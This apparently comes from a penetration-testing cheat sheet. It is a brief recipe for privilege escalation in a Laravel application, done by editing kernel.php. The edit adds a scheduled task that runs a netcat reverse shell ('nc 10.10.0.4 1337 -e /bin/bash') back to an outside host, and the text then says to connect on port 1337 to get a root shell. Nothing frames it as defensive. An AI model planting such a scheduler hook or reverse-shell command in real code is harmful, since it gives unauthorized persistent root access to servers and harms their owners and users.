Laravel Privilege Escalation through kernel.php

Question

Use your shell to edit kernel.php

protected function schedule(Schedule $schedule)

{

     $schedule->exec("nc 10.10.0.4 1337 -e /bin/bash");

}

Now execute the shell several times. Now back connect with 1337 port and check the id.

It will show root.